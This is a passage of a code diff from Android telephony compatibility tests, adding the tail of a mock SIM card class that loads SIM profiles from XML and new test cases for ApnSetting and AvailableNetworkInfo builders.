+                mocksim_pinstate = PinState.ENABLED_NOT_VERIFIED;
+                break;
+            case "PINSTATE_ENABLED_VERIFIED":
+                mocksim_pinstate = PinState.ENABLED_VERIFIED;
+                break;
+            case "PINSTATE_DISABLED":
+                mocksim_pinstate = PinState.DISABLED;
+                break;
+            case "PINSTATE_ENABLED_BLOCKED":
+                mocksim_pinstate = PinState.ENABLED_BLOCKED;
+                break;
+            case "PINSTATE_ENABLED_PERM_BLOCKED":
+                mocksim_pinstate = PinState.ENABLED_PERM_BLOCKED;
+                break;
+        }
+
+        return mocksim_pinstate;
+    }
+
+    private int convertMockSimAppType(String apptype) {
+        int mocksim_apptype = AppStatus.APP_TYPE_UNKNOWN;
+        switch (apptype) {
+            case "APPTYPE_UNKNOWN":
+                mocksim_apptype = AppStatus.APP_TYPE_UNKNOWN;
+                break;
+            case "APPTYPE_SIM":
+                mocksim_apptype = AppStatus.APP_TYPE_SIM;
+                break;
+            case "APPTYPE_USIM":
+                mocksim_apptype = AppStatus.APP_TYPE_USIM;
+                break;
+            case "APPTYPE_RUIM":
+                mocksim_apptype = AppStatus.APP_TYPE_RUIM;
+                break;
+            case "APPTYPE_CSIM":
+                mocksim_apptype = AppStatus.APP_TYPE_CSIM;
+                break;
+            case "APPTYPE_ISIM":
+                mocksim_apptype = AppStatus.APP_TYPE_ISIM;
+                break;
+        }
+
+        return mocksim_apptype;
+    }
+
+    private int convertMockSimAppState(String appstate) {
+        int mocksim_appstate = AppStatus.APP_STATE_UNKNOWN;
+        switch (appstate) {
+            case "APPSTATE_UNKNOWN":
+                mocksim_appstate = AppStatus.APP_STATE_UNKNOWN;
+                break;
+            case "APPSTATE_DETECTED":
+                mocksim_appstate = AppStatus.APP_STATE_DETECTED;
+                break;
+            case "APPSTATE_PIN":
+                mocksim_appstate = AppStatus.APP_STATE_PIN;
+                break;
+            case "APPSTATE_PUK":
+                mocksim_appstate = AppStatus.APP_STATE_PUK;
+                break;
+            case "APPSTATE_SUBSCRIPTION_PERSO":
+                mocksim_appstate = AppStatus.APP_STATE_SUBSCRIPTION_PERSO;
+                break;
+            case "APPSTATE_READY":
+                mocksim_appstate = AppStatus.APP_STATE_READY;
+                break;
+        }
+        return mocksim_appstate;
+    }
+
+    private int convertMockSimFacilityLock(String lock) {
+        int facilitylock = 0;
+        switch (lock) {
+            case "LOCK_ENABLED":
+                facilitylock = 1;
+                break;
+            case "LOCK_DISABLED":
+                facilitylock = 0;
+                break;
+        }
+        return facilitylock;
+    }
+
+    private int getSimAppDataIndexByAid(String aid) {
+        int idx;
+        for (idx = 0; idx < mSimAppList.size(); idx++) {
+            if (aid.equals(mSimAppList.get(idx).getAid())) {
+                break;
+            }
+        }
+        return idx;
+    }
+
+    private String[] extractImsi(String imsi, int mncDigit) {
+        String[] result = null;
+
+        Log.d(TAG, "IMSI = " + imsi + ", mnc-digit = " + mncDigit);
+
+        if (imsi.length() > 15 && imsi.length() < 5) {
+            Log.d(TAG, "Invalid IMSI length.");
+            return result;
+        }
+
+        if (mncDigit != 2 && mncDigit != 3) {
+            Log.d(TAG, "Invalid mnc length.");
+            return result;
+        }
+
+        result = new String[3];
+        result[0] = imsi.substring(0, 3); // MCC
+        result[1] = imsi.substring(3, 3 + mncDigit); // MNC
+        result[2] = imsi.substring(3 + mncDigit, imsi.length()); // MSIN
+
+        Log.d(TAG, "MCC = " + result[0] + " MNC = " + result[1] + " MSIN = " + result[2]);
+
+        return result;
+    }
+
+    private boolean storeEfData(
+            String aid, String name, String id, String command, String[] value) {
+        boolean result = true;
+
+        if (value == null) {
+            Log.e(TAG, "Invalid value of EF field - " + name + "(" + id + ")");
+            return false;
+        }
+
+        switch (name) {
+            case "EF_IMSI":
+                if (value.length == 3
+                        && value[0] != null
+                        && value[0].length() == 3
+                        && value[1] != null
+                        && (value[1].length() == 2 || value[1].length() == 3)
+                        && value[2] != null
+                        && value[2].length() > 0
+                        && (value[0].length() + value[1].length() + value[2].length() <= 15)) {
+                    mSimAppList
+                            .get(getSimAppDataIndexByAid(aid))
+                            .setImsi(value[0], value[1], value[2]);
+                } else {
+                    result = false;
+                    Log.e(TAG, "Invalid value for EF field - " + name + "(" + id + ")");
+                }
+                break;
+            case "EF_ICCID":
+                if (command.length() > 2
+                        && Integer.parseInt(command.substring(2), 16) == COMMAND_READ_BINARY) {
+                    mSimAppList.get(getSimAppDataIndexByAid(aid)).setIccid(value[0]);
+                } else if (command.length() > 2
+                        && Integer.parseInt(command.substring(2), 16) == COMMAND_GET_RESPONSE) {
+                    mSimAppList.get(getSimAppDataIndexByAid(aid)).setIccidInfo(value[0]);
+                } else {
+                    Log.e(TAG, "No valid Iccid data found");
+                    result = false;
+                }
+                break;
+            default:
+                result = false;
+                Log.w(TAG, "Not support EF field - " + name + "(" + id + ")");
+                break;
+        }
+        return result;
+    }
+
+    private boolean loadSimProfileFromXml() {
+        boolean result = true;
+
+        if (mSimProfileInfoList == null) {
+            Log.e(TAG, "No support SIM profile list.");
+            return false;
+        }
+
+        try {
+            String file = mSimProfileInfoList[mSimProfileId].getXmlFile();
+            int event;
+            XmlPullParser parser = Xml.newPullParser();
+            InputStream input;
+            boolean mocksim_validation = false;
+            boolean mocksim_pf_validatiion = false;
+            boolean mocksim_mf_validation = false;
+            int appidx = 0;
+            int fd_lock = 0;
+            int sc_lock = 0;
+            String adf_aid = "";
+
+            input = mContext.getAssets().open(file);
+            parser.setInput(input, null);
+            while (result && (event = parser.next()) != XmlPullParser.END_DOCUMENT) {
+                switch (event) {
+                    case XmlPullParser.START_TAG:
+                        if (MOCK_SIM_TAG.equals(parser.getName())) {
+                            int numofapp = Integer.parseInt(parser.getAttributeValue(0));
+                            mATR = parser.getAttributeValue(1);
+                            Log.d(
+                                    TAG,
+                                    "Found "
+                                            + MOCK_SIM_TAG
+                                            + ": numofapp = "
+                                            + numofapp
+                                            + " atr = "
+                                            + mATR);
+                            mSimApp = new AppStatus[numofapp];
+                            if (mSimApp == null) {
+                                Log.e(TAG, "Create SIM app failed!");
+                                result = false;
+                                break;
+                            }
+                            mocksim_validation = true;
+                        } else if (mocksim_validation
+                                && MOCK_SIM_PROFILE_TAG.equals(parser.getName())
+                                && appidx < mSimApp.length) {
+                            int id = Integer.parseInt(parser.getAttributeValue(0));
+                            int type = convertMockSimAppType(parser.getAttributeValue(1));
+                            mSimApp[appidx] = new AppStatus();
+                            mSimApp[appidx].appType = type;
+                            switch (type) {
+                                case AppStatus.APP_TYPE_SIM:
+                                case AppStatus.APP_TYPE_USIM:
+                                    mSimProfileInfoList[mSimProfileId].setGsmAppIndex(id);
+                                    break;
+                                case AppStatus.APP_TYPE_CSIM:
+                                case AppStatus.APP_TYPE_RUIM:
+                                    mSimProfileInfoList[mSimProfileId].setCdmaAppIndex(id);
+                                    break;
+                                case AppStatus.APP_TYPE_ISIM:
+                                    mSimProfileInfoList[mSimProfileId].setImsAppIndex(id);
+                                    break;
+                            }
+                            Log.d(
+                                    TAG,
+                                    "Found ["
+                                            + MOCK_SIM_PROFILE_TAG
+                                            + "]: id = "
+                                            + id
+                                            + " type = "
+                                            + parser.getAttributeValue(1)
+                                            + " ("
+                                            + type
+                                            + ")========");
+                            mocksim_pf_validatiion = true;
+                        } else if (mocksim_validation
+                                && mocksim_pf_validatiion
+                                && MOCK_PIN_PROFILE_TAG.equals(parser.getName())) {
+                            int appstate = convertMockSimAppState(parser.getAttributeValue(0));
+                            mSimApp[appidx].appState = appstate;
+                            Log.d(
+                                    TAG,
+                                    "Found "
+                                            + MOCK_PIN_PROFILE_TAG
+                                            + ": appstate = "
+                                            + parser.getAttributeValue(0)
+                                            + " ("
+                                            + appstate
+                                            + ")");
+                        } else if (mocksim_validation
+                                && mocksim_pf_validatiion
+                                && MOCK_PIN1_STATE_TAG.equals(parser.getName())) {
+                            String state = parser.nextText();
+                            int pin1state = convertMockSimPinState(state);
+                            mSimApp[appidx].pin1 = pin1state;
+                            Log.d(
+                                    TAG,
+                                    "Found "
+                                            + MOCK_PIN1_STATE_TAG
+                                            + " = "
+                                            + state
+                                            + " ("
+                                            + pin1state
+                                            + ")");
+                        } else if (mocksim_validation
+                                && mocksim_pf_validatiion
+                                && MOCK_PIN2_STATE_TAG.equals(parser.getName())) {
+                            String state = parser.nextText();
+                            int pin2state = convertMockSimPinState(state);
+                            Log.d(
+                                    TAG,
+                                    "Found "
+                                            + MOCK_PIN2_STATE_TAG
+                                            + " = "
+                                            + state
+                                            + " ("
+                                            + pin2state
+                                            + ")");
+                            mSimApp[appidx].pin2 = pin2state;
+                        } else if (mocksim_validation
+                                && mocksim_pf_validatiion
+                                && MOCK_FACILITY_LOCK_FD_TAG.equals(parser.getName())) {
+                            fd_lock = convertMockSimFacilityLock(parser.nextText());
+                            Log.d(
+                                    TAG,
+                                    "Found "
+                                            + MOCK_FACILITY_LOCK_FD_TAG
+                                            + ": fd lock = "
+                                            + fd_lock);
+                        } else if (mocksim_validation
+                                && mocksim_pf_validatiion
+                                && MOCK_FACILITY_LOCK_SC_TAG.equals(parser.getName())) {
+                            sc_lock = convertMockSimFacilityLock(parser.nextText());
+                            Log.d(
+                                    TAG,
+                                    "Found "
+                                            + MOCK_FACILITY_LOCK_SC_TAG
+                                            + ": sc lock = "
+                                            + sc_lock);
+                        } else if (mocksim_validation
+                                && mocksim_pf_validatiion
+                                && MOCK_MF_TAG.equals(parser.getName())) {
+                            SimAppData simAppData;
+                            String name = parser.getAttributeValue(0);
+                            String path = parser.getAttributeValue(1);
+                            simAppData = new SimAppData(appidx, name, path);
+                            if (simAppData == null) {
+                                Log.e(TAG, "Create SIM app data failed!");
+                                result = false;
+                                break;
+                            }
+                            mSimAppList.add(simAppData);
+                            Log.d(
+                                    TAG,
+                                    "Found "
+                                            + MOCK_MF_TAG
+                                            + ": name = "
+                                            + name
+                                            + " path = "
+                                            + path);
+                        } else if (mocksim_validation
+                                && mocksim_pf_validatiion
+                                && !mocksim_mf_validation
+                                && MOCK_EF_DIR_TAG.equals(parser.getName())) {
+                            SimAppData simAppData;
+                            String name = parser.getAttributeValue(0);
+                            boolean curr_active = Boolean.parseBoolean(parser.getAttributeValue(1));
+                            String aid = parser.nextText();
+                            simAppData = new SimAppData(appidx, aid, name, curr_active);
+                            if (simAppData == null) {
+                                Log.e(TAG, "Create SIM app data failed!");
+                                result = false;
+                                break;
+                            }
+                            simAppData.setFdnStatus(fd_lock);
+                            simAppData.setPin1State(sc_lock);
+                            mSimAppList.add(simAppData);
+                            if (curr_active) {
+                                mSimApp[appidx].aidPtr = aid;
+                            }
+                            Log.d(
+                                    TAG,
+                                    "Found "
+                                            + MOCK_EF_DIR_TAG
+                                            + ": name = "
+                                            + name
+                                            + ": curr_active = "
+                                            + curr_active
+                                            + " aid = "
+                                            + aid);
+                            mocksim_mf_validation = true;
+                        } else if (mocksim_validation
+                                && mocksim_pf_validatiion
+                                && mocksim_mf_validation
+                                && MOCK_ADF_TAG.equals(parser.getName())) {
+                            String aid = parser.getAttributeValue(0);
+                            Log.d(TAG, "Found " + MOCK_ADF_TAG + ": aid = " + aid);
+                            adf_aid = aid;
+                        } else if (mocksim_validation
+                                && mocksim_pf_validatiion
+                                && mocksim_mf_validation
+                                && (adf_aid.length() > 0)
+                                && MOCK_EF_TAG.equals(parser.getName())) {
+                            String name = parser.getAttributeValue(0);
+                            String id = parser.getAttributeValue(1);
+                            String command = parser.getAttributeValue(2);
+                            String[] value;
+                            switch (id) {
+                                case "6F07": // EF_IMSI
+                                    int mncDigit = Integer.parseInt(parser.getAttributeValue(3));
+                                    String imsi = parser.nextText();
+                                    value = extractImsi(imsi, mncDigit);
+                                    if (value != null
+                                            && storeEfData(adf_aid, name, id, command, value)) {
+                                        Log.d(
+                                                TAG,
+                                                "Found "
+                                                        + MOCK_EF_TAG
+                                                        + ": name = "
+                                                        + name
+                                                        + " id = "
+                                                        + id
+                                                        + " command = "
+                                                        + command
+                                                        + " value = "
+                                                        + imsi
+                                                        + " with mnc-digit = "
+                                                        + mncDigit);
+                                    }
+                                    break;
+                                default:
+                                    value = new String[1];
+                                    if (value != null) {
+                                        value[0] = parser.nextText();
+                                        if (storeEfData(adf_aid, name, id, command, value)) {
+                                            Log.d(
+                                                    TAG,
+                                                    "Found "
+                                                            + MOCK_EF_TAG
+                                                            + ": name = "
+                                                            + name
+                                                            + " id = "
+                                                            + id
+                                                            + " command = "
+                                                            + command
+                                                            + " value = "
+                                                            + value[0]);
+                                        }
+                                    }
+                                    break;
+                            }
+                        }
+                        break;
+                    case XmlPullParser.END_TAG:
+                        if (mocksim_validation && MOCK_SIM_PROFILE_TAG.equals(parser.getName())) {
+                            appidx++;
+                            mocksim_pf_validatiion = false;
+                            mocksim_mf_validation = false;
+                        } else if (mocksim_validation && MOCK_ADF_TAG.equals(parser.getName())) {
+                            adf_aid = "";
+                        }
+                        break;
+                }
+            }
+            Log.d(TAG, "Totally create " + Math.min(mSimApp.length, appidx) + " SIM profiles");
+            mSimProfileInfoList[mSimProfileId].setNumOfSimApp(appidx);
+            input.close();
+        } catch (Exception e) {
+            Log.e(TAG, "Exception error: " + e);
+            result = false;
+        }
+
+        return result;
+    }
+
+    private boolean loadSimApp() {
+        boolean result = true;
+
+        if (mSimAppList == null) {
+            mSimAppList = new ArrayList<SimAppData>();
+        } else {
+            mSimAppList.clear();
+        }
+
+        if (mSimProfileId == MOCK_SIM_PROFILE_ID_DEFAULT
+                || mSimProfileInfoList[mSimProfileId].getXmlFile().length() == 0) {
+            Log.d(TAG, "SIM absent case");
+            mSimApp = new AppStatus[0];
+            if (mSimApp == null) {
+                Log.e(TAG, "Create SIM app failed!");
+                result = false;
+            }
+        } else {
+            result = loadSimProfileFromXml();
+        }
+
+        return result;
+    }
+
+    private boolean loadMockSimCard() {
+        if (mSimProfileId != MOCK_SIM_PROFILE_ID_DEFAULT) {
+            switch (mPhysicalSlotId) {
+                case MOCK_SIM_SLOT_1:
+                    mEID = DEFAULT_SIM1_EID;
+                    break;
+                case MOCK_SIM_SLOT_2:
+                    mATR = DEFAULT_SIM2_ATR;
+                    mEID = DEFAULT_SIM2_EID;
+                    break;
+                case MOCK_SIM_SLOT_3:
+                    mATR = DEFAULT_SIM3_ATR;
+                    mEID = DEFAULT_SIM3_EID;
+                    break;
+            }
+            mUniversalPinState = PinState.DISABLED;
+            mIsCardPresent = true;
+        } else {
+            switch (mPhysicalSlotId) {
+                case MOCK_SIM_SLOT_1:
+                    mATR = DEFAULT_SIM1_ATR;
+                    mEID = DEFAULT_SIM1_EID;
+                    mUniversalPinState = DEFAULT_SIM1_UNIVERSAL_PIN_STATE;
+                    break;
+                case MOCK_SIM_SLOT_2:
+                    mATR = DEFAULT_SIM2_ATR;
+                    mEID = DEFAULT_SIM2_EID;
+                    mUniversalPinState = DEFAULT_SIM2_UNIVERSAL_PIN_STATE;
+                    break;
+                case MOCK_SIM_SLOT_3:
+                    mATR = DEFAULT_SIM3_ATR;
+                    mEID = DEFAULT_SIM3_EID;
+                    mUniversalPinState = DEFAULT_SIM3_UNIVERSAL_PIN_STATE;
+                    break;
+            }
+            mIsCardPresent = false;
+        }
+        return loadSimApp();
+    }
+
+    public boolean loadSimCard(int simprofileid) {
+        boolean result = true;
+        mSimProfileId = simprofileid;
+        if (result) {
+            result = loadMockSimCard();
+        }
+        return result;
+    }
+
+    public boolean isSlotPortActive() {
+        return mIsSlotPortActive;
+    }
+
+    public boolean isCardPresent() {
+        return mIsCardPresent;
+    }
+
+    public int getNumOfSimPortInfo() {
+        return DEFAULT_NUM_OF_SIM_PORT_INfO;
+    }
+
+    public int getPhysicalSlotId() {
+        return mPhysicalSlotId;
+    }
+
+    public int getLogicalSlotId() {
+        return mLogicalSlotId;
+    }
+
+    public int getSlotPortId() {
+        return mSlotPortId;
+    }
+
+    public String getEID() {
+        return mEID;
+    }
+
+    public boolean setATR(String atr) {
+        // TODO: add any ATR format check
+        mATR = atr;
+        return true;
+    }
+
+    public String getATR() {
+        return mATR;
+    }
+
+    public boolean setICCID(String iccid) {
+        boolean result = false;
+        SimAppData activeSimAppData = getActiveSimAppData();
+
+        // TODO: add iccid format check
+        if (activeSimAppData != null) {
+            String iccidInfo = activeSimAppData.getIccidInfo();
+            int dataFileSize = iccid.length() / 2;
+            String dataFileSizeStr = Integer.toString(dataFileSize, 16);
+
+            Log.d(TAG, "Data file size = " + dataFileSizeStr);
+            if (dataFileSizeStr.length() <= 4) {
+                dataFileSizeStr = String.format("%04x", dataFileSize).toUpperCase(Locale.ROOT);
+                // Data file size index is 2 and 3 in byte array of iccid info data.
+                iccidInfo = iccidInfo.substring(0, 4) + dataFileSizeStr + iccidInfo.substring(8);
+                Log.d(TAG, "Update iccid info = " + iccidInfo);
+                activeSimAppData.setIccidInfo(iccidInfo);
+                activeSimAppData.setIccid(iccid);
+                result = true;
+            } else {
+                Log.e(TAG, "Data file size(" + iccidInfo.length() + ") is too large.");
+            }
+        } else {
+            Log.e(TAG, "activeSimAppData = null");
+        }
+
+        return result;
+    }
+
+    public String getICCID() {
+        String iccid = "";
+        SimAppData activeSimAppData = getActiveSimAppData();
+
+        if (activeSimAppData != null) {
+            iccid = activeSimAppData.getIccid();
+        }
+
+        return iccid;
+    }
+
+    public int getUniversalPinState() {
+        return mUniversalPinState;
+    }
+
+    public int getGsmAppIndex() {
+        return mSimProfileInfoList[mSimProfileId].getGsmAppIndex();
+    }
+
+    public int getCdmaAppIndex() {
+        return mSimProfileInfoList[mSimProfileId].getCdmaAppIndex();
+    }
+
+    public int getImsAppIndex() {
+        return mSimProfileInfoList[mSimProfileId].getImsAppIndex();
+    }
+
+    public int getNumOfSimApp() {
+        return mSimProfileInfoList[mSimProfileId].getNumOfSimApp();
+    }
+
+    public AppStatus[] getSimApp() {
+        return mSimApp;
+    }
+
+    public ArrayList<SimAppData> getSimAppList() {
+        return mSimAppList;
+    }
+
+    public SimAppData getActiveSimAppData() {
+        SimAppData activeSimAppData = null;
+
+        for (int simAppIdx = 0; simAppIdx < mSimAppList.size(); simAppIdx++) {
+            if (mSimAppList.get(simAppIdx).isCurrentActive()) {
+                activeSimAppData = mSimAppList.get(simAppIdx);
+                break;
+            }
+        }
+
+        return activeSimAppData;
+    }
+
+    public String getActiveSimAppId() {
+        String aid = "";
+        SimAppData activeSimAppData = getActiveSimAppData();
+
+        if (activeSimAppData != null) {
+            aid = activeSimAppData.getAid();
+        }
+
+        return aid;
+    }
+
+    private boolean setMcc(String mcc) {
+        boolean result = false;
+
+        if (mcc.length() == 3) {
+            SimAppData activeSimAppData = getActiveSimAppData();
+            if (activeSimAppData != null) {
+                activeSimAppData.setMcc(mcc);
+                result = true;
+            }
+        }
+
+        return result;
+    }
+
+    private boolean setMnc(String mnc) {
+        boolean result = false;
+
+        if (mnc.length() == 2 || mnc.length() == 3) {
+            SimAppData activeSimAppData = getActiveSimAppData();
+            if (activeSimAppData != null) {
+                activeSimAppData.setMnc(mnc);
+                result = true;
+            }
+        }
+
+        return result;
+    }
+
+    public String getMccMnc() {
+        String mcc;
+        String mnc;
+        String result = "";
+        SimAppData activeSimAppData = getActiveSimAppData();
+
+        if (activeSimAppData != null) {
+            mcc = activeSimAppData.getMcc();
+            mnc = activeSimAppData.getMnc();
+            if (mcc != null
+                    && mcc.length() == 3
+                    && mnc != null
+                    && (mnc.length() == 2 || mnc.length() == 3)) {
+                result = mcc + mnc;
+            } else {
+                Log.e(TAG, "Invalid Mcc or Mnc.");
+            }
+        }
+        return result;
+    }
+
+    public String getMsin() {
+        String result = "";
+        SimAppData activeSimAppData = getActiveSimAppData();
+
+        if (activeSimAppData != null) {
+            result = activeSimAppData.getMsin();
+            if (result.length() <= 0 || result.length() > 10) {
+                Log.e(TAG, "Invalid Msin.");
+            }
+        }
+
+        return result;
+    }
+
+    public boolean setImsi(String mcc, String mnc, String msin) {
+        boolean result = false;
+
+        if (msin.length() > 0 && (mcc.length() + mnc.length() + msin.length()) <= 15) {
+            SimAppData activeSimAppData = getActiveSimAppData();
+            if (activeSimAppData != null) {
+                setMcc(mcc);
+                setMnc(mnc);
+                activeSimAppData.setMsin(msin);
+                result = true;
+            } else {
+                Log.e(TAG, "activeSimAppData = null");
+            }
+        } else {
+            Log.e(TAG, "Invalid IMSI");
+        }
+
+        return result;
+    }
+
+    public String getImsi() {
+        String imsi = "";
+        String mccmnc;
+        String msin;
+        SimAppData activeSimAppData = getActiveSimAppData();
+
+        if (activeSimAppData != null) {
+            mccmnc = getMccMnc();
+            msin = activeSimAppData.getMsin();
+            if (mccmnc.length() > 0
+                    && msin != null
+                    && msin.length() > 0
+                    && (mccmnc.length() + msin.length()) <= 15) {
+                imsi = mccmnc + msin;
+            } else {
+                Log.e(TAG, "Invalid Imsi.");
+            }
+        }
+        return imsi;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ApnSettingTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ApnSettingTest.java
index 1be3eb8..8a70e42 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/ApnSettingTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/ApnSettingTest.java
@@ -17,7 +17,10 @@
 package android.telephony.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
+import android.net.Uri;
+import android.telephony.TelephonyManager;
 import android.telephony.data.ApnSetting;
 import android.util.ArrayMap;
 
@@ -42,6 +45,8 @@
         EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_EMERGENCY_STRING, ApnSetting.TYPE_EMERGENCY);
         EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_MCX_STRING, ApnSetting.TYPE_MCX);
         EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_XCAP_STRING, ApnSetting.TYPE_XCAP);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_ENTERPRISE_STRING,
+                ApnSetting.TYPE_ENTERPRISE);
 
         EXPECTED_INT_TO_STRING_MAP = new ArrayMap<>();
         EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_DEFAULT, ApnSetting.TYPE_DEFAULT_STRING);
@@ -56,6 +61,8 @@
         EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_EMERGENCY, ApnSetting.TYPE_EMERGENCY_STRING);
         EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_MCX, ApnSetting.TYPE_MCX_STRING);
         EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_XCAP, ApnSetting.TYPE_XCAP_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_ENTERPRISE,
+                ApnSetting.TYPE_ENTERPRISE_STRING);
     }
 
     @Test
@@ -71,4 +78,76 @@
             assertEquals((int) e.getValue(), ApnSetting.getApnTypeInt(e.getKey()));
         }
     }
+
+    @Test
+    public void testBuilderGet() {
+        int apnTypeBitMask = ApnSetting.TYPE_DEFAULT;
+        int profileId = 9;
+        int mtuV4 = 1;
+        int mtuV6 = 2;
+        int proxyPort = 5;
+        int mmsPort = 3;
+        int authType = ApnSetting.AUTH_TYPE_NONE;
+        int protocol = ApnSetting.PROTOCOL_IP;
+        int networkTypeBitmask =  (int) TelephonyManager.NETWORK_TYPE_BITMASK_LTE;
+        int roamingProtocol = 1;
+        int mvnoType = ApnSetting.MVNO_TYPE_SPN;
+        int carrierId = 123;
+        boolean isPersistent = true;
+        boolean carrierEnabled = true;
+        Uri mmsc = new Uri.Builder().build();
+        String mmsProxy = "12.34.56";
+        String proxyAddress = "11.22.33.44";
+        String apnName = "testApnName";
+        String entryName = "entryName";
+        String user = "testUser";
+        String password = "testPWD";
+        String operatorNumeric = "123";
+        ApnSetting apnSettingUT = new ApnSetting.Builder()
+                .setApnTypeBitmask(apnTypeBitMask)
+                .setApnName(apnName)
+                .setEntryName(entryName)
+                .setMtuV4(mtuV4)
+                .setMtuV6(mtuV6)
+                .setProxyPort(proxyPort)
+                .setMmsProxyPort(mmsPort)
+                .setAuthType(authType)
+                .setProtocol(protocol)
+                .setNetworkTypeBitmask(networkTypeBitmask)
+                .setRoamingProtocol(roamingProtocol)
+                .setMvnoType(mvnoType)
+                .setCarrierId(carrierId)
+                .setCarrierEnabled(carrierEnabled)
+                .setProfileId(profileId)
+                .setPersistent(isPersistent)
+                .setMmsc(mmsc)
+                .setMmsProxyAddress(mmsProxy)
+                .setProxyAddress(proxyAddress)
+                .setUser(user)
+                .setPassword(password)
+                .setOperatorNumeric(operatorNumeric)
+                .build();
+        assertEquals(apnTypeBitMask, apnSettingUT.getApnTypeBitmask());
+        assertEquals(profileId, apnSettingUT.getProfileId());
+        assertEquals(mtuV4, apnSettingUT.getMtuV4());
+        assertEquals(mtuV6, apnSettingUT.getMtuV6());
+        assertEquals(proxyPort, apnSettingUT.getProxyPort());
+        assertEquals(mmsPort, apnSettingUT.getMmsProxyPort());
+        assertEquals(authType, apnSettingUT.getAuthType());
+        assertEquals(protocol, apnSettingUT.getProtocol());
+        assertEquals(networkTypeBitmask, apnSettingUT.getNetworkTypeBitmask());
+        assertEquals(roamingProtocol, apnSettingUT.getRoamingProtocol());
+        assertEquals(mvnoType, apnSettingUT.getMvnoType());
+        assertEquals(carrierId, apnSettingUT.getCarrierId());
+        assertEquals(mmsc, apnSettingUT.getMmsc());
+        assertEquals(mmsProxy, apnSettingUT.getMmsProxyAddressAsString());
+        assertEquals(proxyAddress, apnSettingUT.getProxyAddressAsString());
+        assertEquals(apnName, apnSettingUT.getApnName());
+        assertEquals(entryName, apnSettingUT.getEntryName());
+        assertEquals(user, apnSettingUT.getUser());
+        assertEquals(password, apnSettingUT.getPassword());
+        assertEquals(operatorNumeric, apnSettingUT.getOperatorNumeric());
+        assertTrue(apnSettingUT.isPersistent());
+        assertTrue(apnSettingUT.isEnabled());
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/AvailableNetworkInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/AvailableNetworkInfoTest.java
index 2e39996..75383bf 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/AvailableNetworkInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/AvailableNetworkInfoTest.java
@@ -20,6 +20,7 @@
 
 import android.os.Parcel;
 import android.telephony.AvailableNetworkInfo;
+import android.telephony.RadioAccessSpecifier;
 
 import org.junit.Test;
 
@@ -29,17 +30,28 @@
 public class AvailableNetworkInfoTest {
     private static final String OPERATOR_MCCMNC_1 = "123456";
     private static final String OPERATOR_MCCMNC_2 = "246135";
+    private static final RadioAccessSpecifier RAS_1 =
+        new RadioAccessSpecifier(1, new int[]{2,4,6,8}, new int[]{1,3,5,7});
+    private static final RadioAccessSpecifier RAS_2 =
+        new RadioAccessSpecifier(2, new int[]{1,3,5,7}, new int[]{2,4,6,8});
     private static final int SUB_ID = 123;
 
+    private static List<String> mccMncs = new ArrayList<String>();
+    private static List<Integer> bands = new ArrayList<Integer>();
+    private static List<RadioAccessSpecifier> ras = new ArrayList<RadioAccessSpecifier>();
+
+    static {
+        mccMncs.add(OPERATOR_MCCMNC_1);
+        mccMncs.add(OPERATOR_MCCMNC_2);
+
+        ras.add(RAS_1);
+        ras.add(RAS_2);
+    }
+
     @Test
     public void testAvailableNetworkInfo() {
-        List<String> mccMncs = new ArrayList<String>();
-        mccMncs.add(OPERATOR_MCCMNC_1);
-        mccMncs.add(OPERATOR_MCCMNC_2);
-        List<Integer> bands = new ArrayList<Integer>();
-
         AvailableNetworkInfo availableNetworkInfo = new AvailableNetworkInfo(SUB_ID,
-                AvailableNetworkInfo.PRIORITY_HIGH, mccMncs, bands);
+            AvailableNetworkInfo.PRIORITY_HIGH, mccMncs, bands);
         assertEquals(0, availableNetworkInfo.describeContents());
         assertEquals(SUB_ID, availableNetworkInfo.getSubId());
         assertEquals(AvailableNetworkInfo.PRIORITY_HIGH, availableNetworkInfo.getPriority());
@@ -50,7 +62,44 @@
         availableNetworkInfo.writeToParcel(availableNetworkInfoParcel, 0);
         availableNetworkInfoParcel.setDataPosition(0);
         AvailableNetworkInfo tempAvailableNetworkInfo =
-                AvailableNetworkInfo.CREATOR.createFromParcel(availableNetworkInfoParcel);
+            AvailableNetworkInfo.CREATOR.createFromParcel(availableNetworkInfoParcel);
         assertTrue(tempAvailableNetworkInfo.equals(availableNetworkInfo));
     }
-}
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testAvailableNetworkInfoBuilder_invalidPriority_throwsIllegalArgumentException() {
+        AvailableNetworkInfo.Builder availableNetworkInfo =
+            new AvailableNetworkInfo.Builder(SUB_ID)
+                .setPriority(0);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testAvailableNetworkInfoBuilder_nullMccMnc_throwsNullPointerException() {
+        AvailableNetworkInfo.Builder availableNetworkInfo =
+            new AvailableNetworkInfo.Builder(SUB_ID)
+                .setMccMncs(null);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testAvailableNetworkInfoBuilder_nullRAS_throwsNullPointerException() {
+        AvailableNetworkInfo.Builder availableNetworkInfo =
+            new AvailableNetworkInfo.Builder(SUB_ID)
+                .setRadioAccessSpecifiers(null);
+    }
+
+    @Test
+    public void testAvailableNetworkInfoBuilder_success() {
+        AvailableNetworkInfo availableNetworkInfo =
+            new AvailableNetworkInfo.Builder(SUB_ID)
+                .setMccMncs(mccMncs)
+                .setPriority(AvailableNetworkInfo.PRIORITY_HIGH)
+                .setRadioAccessSpecifiers(ras)
+                .build();
+
+        assertEquals(SUB_ID, availableNetworkInfo.getSubId());
+        assertEquals(AvailableNetworkInfo.PRIORITY_HIGH, availableNetworkInfo.getPriority());
